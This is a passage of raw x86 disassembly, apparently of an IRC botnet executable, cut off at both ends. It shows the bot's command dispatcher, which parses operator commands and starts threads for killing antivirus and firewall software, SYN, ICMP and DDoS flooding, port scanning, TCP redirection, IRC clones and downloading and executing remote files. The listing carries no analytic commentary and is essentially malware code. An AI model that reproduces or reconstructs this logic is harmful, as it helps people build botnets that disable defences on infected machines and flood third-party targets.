aNetUserListFai ; "[NET]: User list failed." jmp short loc_40B95B ; --------------------------------------------------------------------------- loc_40B909: ; CODE XREF: sub_409848+2033j push 5 mov edi, edx mov esi, offset aSend ; "send" pop ecx xor eax, eax repe cmpsb jnz short loc_40B950 cmp [ebp+var_10], eax jz short loc_40B949 push [ebp+var_4] push [ebp+var_9C] push [ebp+arg_4] push [ebp+arg_0] call sub_40822F push eax lea eax, [ebp+var_2F0] push offset aS_2 ; "%s" push eax call sub_416975 add esp, 1Ch jmp short loc_40B963 ; --------------------------------------------------------------------------- loc_40B949: ; CODE XREF: sub_409848+20D4j push offset aNetNoMessageSp ; "[NET]: No message specified." jmp short loc_40B955 ; --------------------------------------------------------------------------- loc_40B950: ; CODE XREF: sub_409848+20CFj push offset aNetCommandUnkn ; "[NET]: Command unknown." loc_40B955: ; CODE XREF: sub_409848+1EA3j ; sub_409848+2106j ... lea eax, [ebp+var_2F0] loc_40B95B: ; CODE XREF: sub_409848+1F30j ; sub_409848+1F3Aj ... push eax call sub_416975 pop ecx pop ecx loc_40B963: ; CODE XREF: sub_409848+1EABj ; sub_409848+1F08j ... cmp [ebp+var_C], 0 jnz loc_40AF34 push 0 jmp loc_40AF19 ; --------------------------------------------------------------------------- loc_40B974: ; CODE XREF: sub_409848+1E86j push 8 mov edi, eax mov esi, offset aCapture ; "capture" pop ecx xor edx, edx repe cmpsb jz loc_40D2DF push 4 mov edi, eax mov esi, offset aCap ; "cap" pop ecx xor edx, edx repe cmpsb jz loc_40D2DF push 8 mov edi, eax mov esi, offset aGethost ; "gethost" pop ecx xor edx, edx repe cmpsb jz loc_40D1FA push 3 mov edi, eax mov esi, offset aGh ; "gh" pop ecx xor edx, edx repe cmpsb jz loc_40D1FA push 0Bh mov edi, eax mov esi, offset aAvfwkiller ; "avfwkiller" pop ecx xor edx, edx repe cmpsb jnz loc_40BACA mov edi, [ebp+var_8] push 6 mov esi, offset aStart ; "start" pop ecx xor eax, eax repe cmpsb jnz loc_40BA9D lea eax, [ebp+var_2F0] push offset aAvfwAvFwBotKil ; "[AVFW]: AV/FW/BOT Killer active." push eax call sub_416975 push [ebp+ebx+var_9C] xor edi, edi push 1 push offset aKillerThread ; "Killer Thread" push offset aAvfw ; "[AVFW]" push 1 push edi push [ebp+var_9C] push [ebp+arg_4] call sub_413968 push edi lea eax, [ebp+var_2F0] push 1 push eax call sub_413732 add esp, 34h mov esi, eax lea eax, [ebp+var_18] push eax push edi push edi push offset sub_40915E push edi push edi call dword_42200C ; CreateThread imul esi, 234h cmp eax, edi mov dword_43B274[esi], eax jnz short loc_40BA76 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aAvfwFailedToSt ; "[AVFW]: Failed to start AV/FW killer th"... push eax call sub_416975 add esp, 0Ch loc_40BA76: ; CODE XREF: sub_409848+2211j lea eax, [ebp+var_2F0] push eax call sub_401F0F cmp [ebp+var_C], edi pop ecx jnz loc_409AC6 push 0 push [ebp+var_4] lea eax, [ebp+var_2F0] push eax jmp loc_40E5C8 ; --------------------------------------------------------------------------- loc_40BA9D: ; CODE XREF: sub_409848+219Fj mov edi, [ebp+var_8] push 5 mov esi, offset aStop ; "stop" pop ecx xor eax, eax repe cmpsb jnz loc_409AC6 push [ebp+ebx+var_9C] push 1 push offset aKillerThread ; "Killer Thread" push offset aAvfw ; "[AVFW]" jmp loc_40EB09 ; --------------------------------------------------------------------------- loc_40BACA: ; CODE XREF: sub_409848+218Aj mov ecx, [ebp+ebx+var_9C] test ecx, ecx mov [ebp+var_10], ecx jz loc_409AC6 push 9 mov edi, eax mov esi, offset aAddalias ; "addalias" pop ecx xor edx, edx repe cmpsb jz loc_40D187 push 3 mov edi, eax mov esi, offset aAa ; "aa" pop ecx xor edx, edx repe cmpsb jz loc_40D187 push 8 mov edi, eax mov esi, offset aPrivmsg_0 ; "privmsg" pop ecx xor edx, edx repe cmpsb jz loc_40D11C push 3 mov edi, eax mov esi, offset aPm_0 ; "pm" pop ecx xor edx, edx repe cmpsb jz loc_40D11C push 7 mov edi, eax mov esi, offset aAction ; "action" pop ecx xor edx, edx repe cmpsb jz loc_40D099 push 2 mov edi, eax mov esi, offset aA_1 ; "a" pop ecx xor edx, edx repe cmpsb jz loc_40D099 push 6 mov edi, eax mov esi, offset aCycle ; "cycle" pop ecx xor edx, edx repe cmpsb jz loc_40D033 push 3 mov edi, eax mov esi, offset aCy ; "cy" pop ecx xor edx, edx repe cmpsb jz loc_40D033 push 5 mov edi, eax mov esi, offset aMode ; "mode" pop ecx xor edx, edx repe cmpsb jz loc_40CFF9 push 2 mov edi, eax mov esi, offset aM ; "m" pop ecx xor edx, edx repe cmpsb jz loc_40CFF9 push 6 mov edi, eax mov esi, offset aC_raw ; "c_raw" pop ecx xor edx, edx repe cmpsb jz loc_40CF8A push 4 mov edi, eax mov esi, offset aC_r ; "c_r" pop ecx xor edx, edx repe cmpsb jz loc_40CF8A push 7 mov edi, eax mov esi, offset aC_mode ; "c_mode" pop ecx xor edx, edx repe cmpsb jz loc_40CF04 push 4 mov edi, eax mov esi, offset aC_m ; "c_m" pop ecx xor edx, edx repe cmpsb jz loc_40CF04 push 7 mov edi, eax mov esi, offset aC_nick ; "c_nick" pop ecx xor edx, edx repe cmpsb jz loc_40CE93 push 4 mov edi, eax mov esi, offset aC_n ; "c_n" pop ecx xor edx, edx repe cmpsb jz loc_40CE93 push 7 mov edi, eax mov esi, offset aC_join ; "c_join" pop ecx xor edx, edx repe cmpsb jz loc_40CE6B push 4 mov edi, eax mov esi, offset aC_j ; "c_j" pop ecx xor edx, edx repe cmpsb jz loc_40CE6B push 7 mov edi, eax mov esi, offset aC_part ; "c_part" pop ecx xor edx, edx repe cmpsb jz loc_40CE05 push 4 mov edi, eax mov esi, offset aC_p ; "c_p" pop ecx xor edx, edx repe cmpsb jz loc_40CE05 push 7 mov edi, eax mov esi, offset aRepeat ; "repeat" pop ecx xor edx, edx repe cmpsb jz loc_40CD41 push 3 mov edi, eax mov esi, offset aRp ; "rp" pop ecx xor edx, edx repe cmpsb jz loc_40CD41 push 6 mov edi, eax mov esi, offset aDelay ; "delay" pop ecx xor edx, edx repe cmpsb jz loc_40CCA4 push 3 mov edi, eax mov esi, offset aDe ; "de" pop ecx xor edx, edx repe cmpsb jz loc_40CCA4 push 7 mov edi, eax mov esi, offset aUpdate ; "update" pop ecx xor edx, edx repe cmpsb jz loc_40CAE0 push 3 mov edi, eax mov esi, offset aUp ; "up" pop ecx xor edx, edx repe cmpsb jz loc_40CAE0 push 8 mov edi, eax mov esi, offset aExecute ; "execute" pop ecx xor edx, edx repe cmpsb jz loc_40CA3D push 2 mov edi, eax mov esi, offset aE ; "e" pop ecx xor edx, edx repe cmpsb jz loc_40CA3D push 9 mov edi, eax mov esi, offset aFindfile ; "findfile" pop ecx xor edx, edx repe cmpsb jz loc_40C92D push 3 mov edi, eax mov esi, offset aFf ; "ff" pop ecx xor edx, edx repe cmpsb jz loc_40C92D push 7 mov edi, eax mov esi, offset aRename ; "rename" pop ecx xor edx, edx repe cmpsb jz loc_40C8D5 push 3 mov edi, eax mov esi, offset aMv ; "mv" pop ecx xor edx, edx repe cmpsb jz loc_40C8D5 push 0Ah mov edi, eax mov esi, offset aIcmpflood ; "icmpflood" pop ecx xor edx, edx repe cmpsb jz loc_40C7A3 push 5 mov edi, eax mov esi, offset aIcmp ; "icmp" pop ecx xor edx, edx repe cmpsb jz loc_40C7A3 mov ecx, [ebp+ebx+var_98] test ecx, ecx mov [ebp+arg_0], ecx jz loc_409AC6 push 6 mov edi, eax mov esi, offset aClone_0 ; "clone" pop ecx xor edx, edx repe cmpsb jz loc_40C6B5 push 2 mov edi, eax mov esi, offset aC ; "c" pop ecx xor edx, edx repe cmpsb jz loc_40C6B5 push 9 mov edi, eax mov esi, offset aDdos_syn ; "ddos.syn" pop ecx xor edx, edx repe cmpsb jz loc_40C592 push 9 mov edi, eax mov esi, offset aDdos_ack ; "ddos.ack" pop ecx xor edx, edx repe cmpsb jz loc_40C592 push 0Ch mov edi, eax mov esi, offset aDdos_random ; "ddos.random" pop ecx xor edx, edx repe cmpsb jz loc_40C592 push 9 mov edi, eax mov esi, offset aSynflood ; "synflood" pop ecx xor edx, edx repe cmpsb jz loc_40C4A5 push 4 mov edi, eax mov esi, offset aSyn ; "syn" pop ecx xor edx, edx repe cmpsb jz loc_40C4A5 push 9 mov edi, eax mov esi, offset aDownload ; "download" pop ecx xor edx, edx repe cmpsb jz loc_40C303 push 3 mov edi, eax mov esi, offset aDl ; "dl" pop ecx xor edx, edx repe cmpsb jz loc_40C303 push 9 mov edi, eax mov esi, offset aRedirect ; "redirect" pop ecx xor edx, edx repe cmpsb jz loc_40C206 push 3 mov edi, eax mov esi, offset aRd ; "rd" pop ecx xor edx, edx repe cmpsb jz loc_40C206 push 5 mov edi, eax mov esi, offset aScan ; "scan" pop ecx xor edx, edx repe cmpsb jz loc_40C110 push 3 mov edi, eax mov esi, offset aSc ; "sc" pop ecx xor edx, edx repe cmpsb jz loc_40C110 push 0Ah mov edi, eax mov esi, offset aC_privmsg ; "c_privmsg" pop ecx xor edx, edx repe cmpsb jz loc_40C01A push 5 mov edi, eax mov esi, offset aC_pm ; "c_pm" pop ecx xor edx, edx repe cmpsb jz loc_40C01A push 9 mov edi, eax mov esi, offset aC_action ; "c_action" pop ecx xor edx, edx repe cmpsb jz short loc_40BEE6 push 4 mov edi, eax mov esi, offset dword_429D58 pop ecx xor edx, edx repe cmpsb jnz loc_40AC9B loc_40BEE6: ; CODE XREF: sub_409848+2688j push [ebp+var_8] call sub_416D02 imul eax, 234h cmp byte_43B278[eax], 0 pop ecx jz loc_40F93F mov edi, [ebp+var_14] test edi, edi jz loc_40F93F mov eax, [ebp+var_1C] lea edx, [eax+1] loc_40BF13: ; CODE XREF: sub_409848+26D0j mov cl, [eax] inc eax test cl, cl jnz short loc_40BF13 sub eax, edx mov ebx, eax mov eax, [ebp+var_8] lea ecx, [eax+1] loc_40BF24: ; CODE XREF: sub_409848+26E1j mov dl, [eax] inc eax test dl, dl jnz short loc_40BF24 sub eax, ecx mov ecx, eax mov eax, [ebp+var_10] lea esi, [eax+1] loc_40BF35: ; CODE XREF: sub_409848+26F2j mov dl, [eax] inc eax test dl, dl jnz short loc_40BF35 push [ebp+arg_0] sub eax, esi add eax, ecx add eax, ebx lea eax, [eax+edi+2] push eax call sub_417440 mov esi, eax push esi lea eax, [ebp+var_2F0] push offset dword_429D4C push eax call sub_416975 add esp, 14h test esi, esi jz loc_40F93F mov edi, [ebp+var_8] push edi call sub_416D02 test eax, eax pop ecx jle loc_40F93F push edi call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F xor ebx, ebx push ebx push ebx lea eax, [ebp+var_2F0] push eax push [ebp+var_10] push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D62 push edi call sub_416D02 imul eax, 234h add esp, 18h cmp byte ptr dword_43B060[eax], 73h jnz loc_40F93F push esi push edi call sub_416D02 imul eax, 234h pop ecx add eax, offset byte_43B278 push eax push [ebp+var_10] push offset aSSS_2 ; "[%s] * %s %s" loc_40BFF0: ; CODE XREF: sub_409848+28C3j lea eax, [ebp+var_2F0] push eax call sub_416975 push ebx push [ebp+var_4] lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push [ebp+arg_4] call sub_405D62 jmp loc_40E5A0 ; --------------------------------------------------------------------------- loc_40C01A: ; CODE XREF: sub_409848+2660j ; sub_409848+2674j push [ebp+var_8] call sub_416D02 imul eax, 234h cmp byte_43B278[eax], 0 pop ecx jz loc_40F93F mov edi, [ebp+var_14] test edi, edi jz loc_40F93F mov eax, [ebp+var_1C] lea edx, [eax+1] loc_40C047: ; CODE XREF: sub_409848+2804j mov cl, [eax] inc eax test cl, cl jnz short loc_40C047 sub eax, edx mov ebx, eax mov eax, [ebp+var_8] lea ecx, [eax+1] loc_40C058: ; CODE XREF: sub_409848+2815j mov dl, [eax] inc eax test dl, dl jnz short loc_40C058 sub eax, ecx mov ecx, eax mov eax, [ebp+var_10] lea esi, [eax+1] loc_40C069: ; CODE XREF: sub_409848+2826j mov dl, [eax] inc eax test dl, dl jnz short loc_40C069 push [ebp+arg_0] sub eax, esi add eax, ecx add eax, ebx lea eax, [eax+edi+2] push eax call sub_417440 mov esi, eax test esi, esi pop ecx pop ecx jz loc_40F93F mov edi, [ebp+var_8] push edi call sub_416D02 test eax, eax pop ecx jle loc_40F93F push edi call sub_416D02 cmp eax, 1F4h pop ecx jge loc_40F93F xor ebx, ebx push ebx push ebx push esi push [ebp+var_10] push edi call sub_416D02 imul eax, 234h pop ecx push dword_43B26C[eax] call sub_405D62 push edi call sub_416D02 imul eax, 234h add esp, 18h cmp byte ptr dword_43B060[eax], 73h jnz loc_40F93F push esi push edi call sub_416D02 imul eax, 234h pop ecx add eax, offset byte_43B278 push eax push [ebp+var_10] push offset aSSS_1 ; "[%s] <%s> %s" jmp loc_40BFF0 ; --------------------------------------------------------------------------- loc_40C110: ; CODE XREF: sub_409848+2638j ; sub_409848+264Cj push [ebp+var_8] call dword_43A434 ; inet_addr push [ebp+var_10] mov [ebp+var_408], eax call sub_416D02 push [ebp+arg_0] mov [ebp+var_414], eax call sub_416D02 mov edi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_410], eax lea eax, [ebp+var_494] push eax mov [ebp+var_498], edi call sub_416A00 mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 14h push [ebp+var_410] mov [ebp+var_400], ebx push [ebp+var_414] mov [ebp+var_3FC], eax push [ebp+var_408] call dword_43A440 ; inet_ntoa push eax lea eax, [ebp+var_2F0] push offset aScanPortScanSt ; "[SCAN]: Port scan started: %s:%d with d"... push eax call sub_416975 xor esi, esi push esi lea eax, [ebp+var_2F0] push 9 push eax call sub_413732 add esp, 20h mov [ebp+var_40C], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_498] push eax push offset sub_411263 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_40C] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40C1F9 call dword_422008 ; RtlGetLastWin32Error push eax push offset aScanFailedTo_0 ; "[SCAN]: Failed to start scan thread, er"... jmp loc_40C676 ; --------------------------------------------------------------------------- loc_40C1F1: ; CODE XREF: sub_409848+29B7j push 32h call dword_422000 ; Sleep loc_40C1F9: ; CODE XREF: sub_409848+2996j cmp [ebp+var_3F8], esi jz short loc_40C1F1 jmp loc_40C685 ; --------------------------------------------------------------------------- loc_40C206: ; CODE XREF: sub_409848+2610j ; sub_409848+2624j push [ebp+var_8] call sub_416D02 push 7Fh push [ebp+var_10] mov [ebp+var_F0C], eax lea eax, [ebp+var_1010] push eax call sub_416A00 push [ebp+arg_0] call sub_416D02 push [ebp+var_9C] mov esi, [ebp+arg_4] mov [ebp+var_F10], eax lea eax, [ebp+var_F90] push 80h push eax mov [ebp+var_1018], esi call sub_416BCD mov eax, [ebp+var_C] mov ebx, [ebp+var_4] add esp, 20h push [ebp+var_F10] mov [ebp+var_EFC], eax lea eax, [ebp+var_1010] push eax push [ebp+var_F0C] mov [ebp+var_F00], ebx push esi call sub_408894 pop ecx push eax lea eax, [ebp+var_2F0] push offset aRedirectTcpRed ; "[REDIRECT]: TCP redirect created from: "... push eax call sub_416975 xor edi, edi push edi lea eax, [ebp+var_2F0] push 11h push eax call sub_413732 add esp, 24h mov [ebp+var_F08], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_1018] push eax push offset sub_41031F push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_F08] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40C2F6 call dword_422008 ; RtlGetLastWin32Error push eax push offset aRedirectFailed ; "[REDIRECT]: Failed to start redirection"... jmp loc_40C466 ; --------------------------------------------------------------------------- loc_40C2EE: ; CODE XREF: sub_409848+2AB4j push 32h call dword_422000 ; Sleep loc_40C2F6: ; CODE XREF: sub_409848+2A93j cmp [ebp+var_EF8], edi jz short loc_40C2EE jmp loc_40C475 ; --------------------------------------------------------------------------- loc_40C303: ; CODE XREF: sub_409848+25E8j ; sub_409848+25FCj mov esi, 0FFh push esi push [ebp+var_8] lea eax, [ebp+var_E14] push eax call sub_416A00 push [ebp+arg_0] xor edi, edi mov [ebp+var_B10], edi call sub_416D02 mov [ebp+var_B0C], eax mov eax, [ebp+ebx+var_94] add esp, 10h cmp eax, edi jz short loc_40C350 push 10h push edi push eax call sub_417799 add esp, 0Ch mov [ebp+var_B04], eax jmp short loc_40C356 ; --------------------------------------------------------------------------- loc_40C350: ; CODE XREF: sub_409848+2AF2j mov [ebp+var_B04], edi loc_40C356: ; CODE XREF: sub_409848+2B06j mov ebx, [ebp+ebx+var_90] cmp ebx, edi jz short loc_40C370 push ebx call sub_416D02 pop ecx mov [ebp+var_B08], eax jmp short loc_40C376 ; --------------------------------------------------------------------------- loc_40C370: ; CODE XREF: sub_409848+2B17j mov [ebp+var_B08], edi loc_40C376: ; CODE XREF: sub_409848+2B26j push 3Fh push [ebp+var_10] call sub_417E80 mov ebx, eax cmp ebx, edi pop ecx pop ecx jz short loc_40C3B0 and byte ptr [ebx], 0 inc ebx loc_40C38C: ; CODE XREF: sub_409848+2B55j push 26h push ebx call sub_417E80 cmp eax, edi pop ecx pop ecx jz short loc_40C39F mov byte ptr [eax], 20h jmp short loc_40C38C ; --------------------------------------------------------------------------- loc_40C39F: ; CODE XREF: sub_409848+2B50j push esi lea eax, [ebp+var_C14] push ebx push eax call sub_416A00 add esp, 0Ch loc_40C3B0: ; CODE XREF: sub_409848+2B3Ej push esi push [ebp+var_10] lea eax, [ebp+var_D14] push eax call sub_416A00 movzx eax, [ebp+var_38B] mov esi, [ebp+arg_4] push 7Fh push [ebp+var_9C] mov [ebp+var_B00], eax lea eax, [ebp+var_E94] push eax mov [ebp+var_E98], esi call sub_416A00 push [ebp+var_10] mov eax, [ebp+var_C] push [ebp+var_8] mov ebx, [ebp+var_4] mov [ebp+var_AFC], eax lea eax, [ebp+var_2F0] push offset aDownloadDown_1 ; "[DOWNLOAD]: Downloading URL: %s to: %s."... push eax mov [ebp+var_AF8], ebx call sub_416975 push esi lea eax, [ebp+var_2F0] push 16h push eax call sub_413732 add esp, 34h mov [ebp+var_B14], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_E98] push eax push offset sub_402C71 push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_B14] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40C49B call dword_422008 ; RtlGetLastWin32Error push eax push offset aDownloadFailed ; "[DOWNLOAD]: Failed to start transfer th"... loc_40C466: ; CODE XREF: sub_409848+2AA1j ; sub_409848+4A38j ... lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch loc_40C475: ; CODE XREF: sub_409848+2AB6j ; sub_409848+2C5Bj ... cmp [ebp+var_C], edi jnz loc_40EE4D push edi push ebx lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push esi jmp loc_40EE45 ; --------------------------------------------------------------------------- loc_40C493: ; CODE XREF: sub_409848+2C59j push 32h call dword_422000 ; Sleep loc_40C49B: ; CODE XREF: sub_409848+2C10j cmp [ebp+var_AF4], edi jz short loc_40C493 jmp short loc_40C475 ; --------------------------------------------------------------------------- loc_40C4A5: ; CODE XREF: sub_409848+25C0j ; sub_409848+25D4j push 7Fh pop esi push esi push [ebp+var_8] lea eax, [ebp+var_1A68] push eax call sub_416A00 push esi push [ebp+var_10] lea eax, [ebp+var_19E8] push eax call sub_416A00 push esi push [ebp+arg_0] lea eax, [ebp+var_1968] push eax call sub_416A00 push esi push [ebp+var_9C] lea eax, [ebp+var_18E8] push eax call sub_416A00 push [ebp+arg_0] mov eax, [ebp+var_C] push [ebp+var_10] mov ebx, [ebp+var_4] push [ebp+var_8] mov edi, [ebp+arg_4] mov [ebp+var_1860], eax lea eax, [ebp+var_2F0] push offset aSynFloodingSSF ; "[SYN]: Flooding: (%s:%s) for %s seconds"... push eax mov [ebp+var_1864], ebx mov [ebp+var_1A6C], edi call sub_416975 add esp, 44h xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Ch push eax call sub_413732 add esp, 0Ch mov [ebp+var_1868], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_1A6C] push eax push offset sub_41294E push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_1868] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40C585 call dword_422008 ; RtlGetLastWin32Error push eax push offset aSynFailedToSta ; "[SYN]: Failed to start flood thread, er"... jmp loc_40C676 ; --------------------------------------------------------------------------- loc_40C57D: ; CODE XREF: sub_409848+2D43j push 32h call dword_422000 ; Sleep loc_40C585: ; CODE XREF: sub_409848+2D22j cmp [ebp+var_185C], esi jz short loc_40C57D jmp loc_40C685 ; --------------------------------------------------------------------------- loc_40C592: ; CODE XREF: sub_409848+2584j ; sub_409848+2598j ... push 7Fh pop esi push esi push [ebp+var_8] lea eax, [ebp+var_1CF8] push eax call sub_416A00 push esi push [ebp+var_10] lea eax, [ebp+var_1C78] push eax call sub_416A00 push esi push [ebp+arg_0] lea eax, [ebp+var_1BF8] push eax call sub_416A00 push esi push [ebp+var_9C] lea eax, [ebp+var_1B78] push eax call sub_416A00 push 20h push [ebp+var_1C] lea eax, [ebp+var_1AF8] push eax call sub_416A00 push [ebp+arg_0] mov eax, [ebp+var_C] push [ebp+var_10] mov ebx, [ebp+var_4] push [ebp+var_8] mov edi, [ebp+arg_4] mov [ebp+var_1A74], eax lea eax, [ebp+var_2F0] push offset aDdosFloodingSS ; "[DDoS]: Flooding: (%s:%s) for %s second"... push eax mov [ebp+var_1A78], ebx mov [ebp+var_1D00], edi call sub_416975 add esp, 50h xor esi, esi push esi lea eax, [ebp+var_2F0] push 0Bh push eax call sub_413732 add esp, 0Ch mov [ebp+var_1CFC], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_1D00] push eax push offset sub_402BA3 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_1CFC] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40C6AB call dword_422008 ; RtlGetLastWin32Error push eax push offset aDdosFailedToSt ; "[DDoS]: Failed to start flood thread, e"... loc_40C676: ; CODE XREF: sub_409848+29A4j ; sub_409848+2D30j lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch loc_40C685: ; CODE XREF: sub_409848+29B9j ; sub_409848+2D45j ... cmp [ebp+var_C], esi jnz loc_40EE4D push esi push ebx lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push edi jmp loc_40EE45 ; --------------------------------------------------------------------------- loc_40C6A3: ; CODE XREF: sub_409848+2E69j push 32h call dword_422000 ; Sleep loc_40C6AB: ; CODE XREF: sub_409848+2E20j cmp [ebp+var_1A70], esi jz short loc_40C6A3 jmp short loc_40C685 ; --------------------------------------------------------------------------- loc_40C6B5: ; CODE XREF: sub_409848+255Cj ; sub_409848+2570j push 7Fh push [ebp+var_8] lea eax, [ebp+var_16C0] push eax call sub_416A00 push [ebp+var_10] call sub_416D02 push 3Fh push [ebp+arg_0] mov [ebp+var_1570], eax lea eax, [ebp+var_1640] push eax call sub_416A00 mov ebx, [ebp+ebx+var_94] xor esi, esi add esp, 1Ch cmp ebx, esi jz short loc_40C707 push 3Fh lea eax, [ebp+var_1600] push ebx push eax call sub_416A00 add esp, 0Ch loc_40C707: ; CODE XREF: sub_409848+2EABj lea eax, [ebp+var_1640] push eax push [ebp+var_1570] lea eax, [ebp+var_16C0] push eax lea eax, [ebp+var_2F0] push offset aClonesCreatedO ; "[CLONES]: Created on %s:%d, in channel "... push eax mov [ebp+var_156C], 1 call sub_416975 push esi lea eax, [ebp+var_2F0] push 18h push eax call sub_413732 add esp, 20h mov [ebp+var_1568], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_16C4] push eax push offset sub_4096E9 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_1568] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40C796 call dword_422008 ; RtlGetLastWin32Error push eax push offset aClonesFailedTo ; "[CLONES]: Failed to start clone thread,"... jmp loc_40D861 ; --------------------------------------------------------------------------- loc_40C78E: ; CODE XREF: sub_409848+2F54j push 32h call dword_422000 ; Sleep loc_40C796: ; CODE XREF: sub_409848+2F33j cmp [ebp+var_1564], esi jz short loc_40C78E jmp loc_40D870 ; --------------------------------------------------------------------------- loc_40C7A3: ; CODE XREF: sub_409848+2522j ; sub_409848+2536j push [ebp+var_10] call sub_416D02 mov ebx, [ebp+arg_4] xor edi, edi cmp eax, edi pop ecx mov [ebp+var_904], eax jle loc_40C8A2 push [ebp+var_8] mov esi, 80h lea eax, [ebp+var_A8C] push esi push eax call sub_416BCD push [ebp+var_9C] xor eax, eax cmp byte ptr [ebp+var_380+2], al push esi setnz al mov [ebp+var_A90], ebx mov [ebp+var_900], eax lea eax, [ebp+var_98C] push eax call sub_416BCD push [ebp+var_10] mov eax, [ebp+var_4] push [ebp+var_8] mov [ebp+var_8FC], eax mov eax, [ebp+var_C] push offset aIcmpFloodingSF ; "[ICMP]: Flooding: (%s) for %s seconds." mov [ebp+var_8F8], eax lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD push edi lea eax, [ebp+var_2F0] push 0Eh push eax call sub_413732 add esp, 38h mov [ebp+var_90C], eax lea eax, [ebp+var_18] push eax push edi lea eax, [ebp+var_A90] push eax push offset sub_4059CE push edi push edi call dword_42200C ; CreateThread mov ecx, [ebp+var_90C] imul ecx, 234h cmp eax, edi mov dword_43B274[ecx], eax jnz short loc_40C898 call dword_422008 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2F0] push offset aIcmpFailedToSt ; "[ICMP]: Failed to start flood thread, e"... push eax call sub_416975 add esp, 0Ch jmp short loc_40C8B5 ; --------------------------------------------------------------------------- loc_40C890: ; CODE XREF: sub_409848+3056j push 32h call dword_422000 ; Sleep loc_40C898: ; CODE XREF: sub_409848+3029j cmp [ebp+var_8F4], edi jz short loc_40C890 jmp short loc_40C8B5 ; --------------------------------------------------------------------------- loc_40C8A2: ; CODE XREF: sub_409848+2F71j lea eax, [ebp+var_2F0] push offset aIcmpInvalidFlo ; "[ICMP]: Invalid flood time must be grea"... push eax call sub_416975 pop ecx pop ecx loc_40C8B5: ; CODE XREF: sub_409848+3046j ; sub_409848+3058j cmp [ebp+var_C], edi jnz loc_40EE4D push edi push [ebp+var_4] loc_40C8C2: ; CODE XREF: sub_409848+5C55j lea eax, [ebp+var_2F0] push eax push [ebp+var_9C] push ebx jmp loc_40EE45 ; --------------------------------------------------------------------------- loc_40C8D5: ; CODE XREF: sub_409848+24FAj ; sub_409848+250Ej push [ebp+var_10] push [ebp+var_8] call dword_4220F4 ; MoveFileA test eax, eax jz short loc_40C909 push [ebp+var_10] lea eax, [ebp+var_2F0] push [ebp+var_8] push offset aFileRenameSToS ; "[FILE]: Rename: '%s' to: '%s'." push 200h push eax call sub_416BCD add esp, 14h jmp loc_40EE2A ; --------------------------------------------------------------------------- loc_40C909: ; CODE XREF: sub_409848+309Bj push offset aFile_0 ; "[FILE]:" call sub_407369 push eax lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD add esp, 10h jmp loc_40EE2A ; --------------------------------------------------------------------------- loc_40C92D: ; CODE XREF: sub_409848+24D2j ; sub_409848+24E6j push [ebp+var_8] lea eax, [ebp+var_13D0] push 104h push eax call sub_416BCD xor esi, esi add esp, 0Ch cmp [ebp+var_14], esi jz short loc_40C96B push [ebp+var_10] push [ebp+var_14] call sub_417440 cmp eax, esi pop ecx pop ecx jz short loc_40C96B push eax lea eax, [ebp+var_12CC] push eax call sub_416975 pop ecx pop ecx loc_40C96B: ; CODE XREF: sub_409848+3101j ; sub_409848+3112j push [ebp+var_9C] lea eax, [ebp+var_1450] push 80h push eax call sub_416BCD mov eax, [ebp+arg_4] mov [ebp+var_1454], eax mov eax, [ebp+var_4] mov [ebp+var_11C4], eax mov eax, [ebp+var_C] mov [ebp+var_11C0], eax lea eax, [ebp+var_12CC] push eax lea eax, [ebp+var_13D0] push eax push offset aFindfileSear_0 ; "[FINDFILE]: Searching for file: %s in: "... lea eax, [ebp+var_2F0] push 200h push eax call sub_416BCD push esi lea eax, [ebp+var_2F0] push 1Ch push eax call sub_413732 add esp, 2Ch mov [ebp+var_11C8], eax lea eax, [ebp+var_18] push eax push esi lea eax, [ebp+var_1454] push eax push offset sub_403732 push esi push esi call dword_42200C ; CreateThread mov ecx, [ebp+var_11C8] imul ecx, 234h cmp eax, esi mov dword_43B274[ecx], eax jnz short loc_40CA30 call dword_422008 ; RtlGetLastWin32Error push eax push offset aFindfileFailed ; "[FINDFILE]: Failed to start search thre"... loc_40CA14: ; CODE XREF: sub_409848+4763j ; sub_409848+54E7j lea eax, [ebp+var_2F0] push eax call sub_416975 add esp, 0Ch jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40CA28: ; CODE XREF: sub_409848+31EEj push 32h call dword_422000 ; Sleep loc_40CA30: ; CODE XREF: sub_409848+31BEj cmp [ebp+var_11BC], esi jz short loc_40CA28 jmp loc_40EE4D ; --------------------------------------------------------------------------- loc_40CA3D: ; CODE XREF: sub_409848+24AAj ; sub_409848+24BEj push 11h pop ecx push [ebp+var_8] xor eax, eax xor ebx, ebx lea edi, [ebp+var_334] rep stosd inc ebx xor esi, esi mov [ebp+var_334], 44h mov [ebp+var_308], ebx mov word ptr 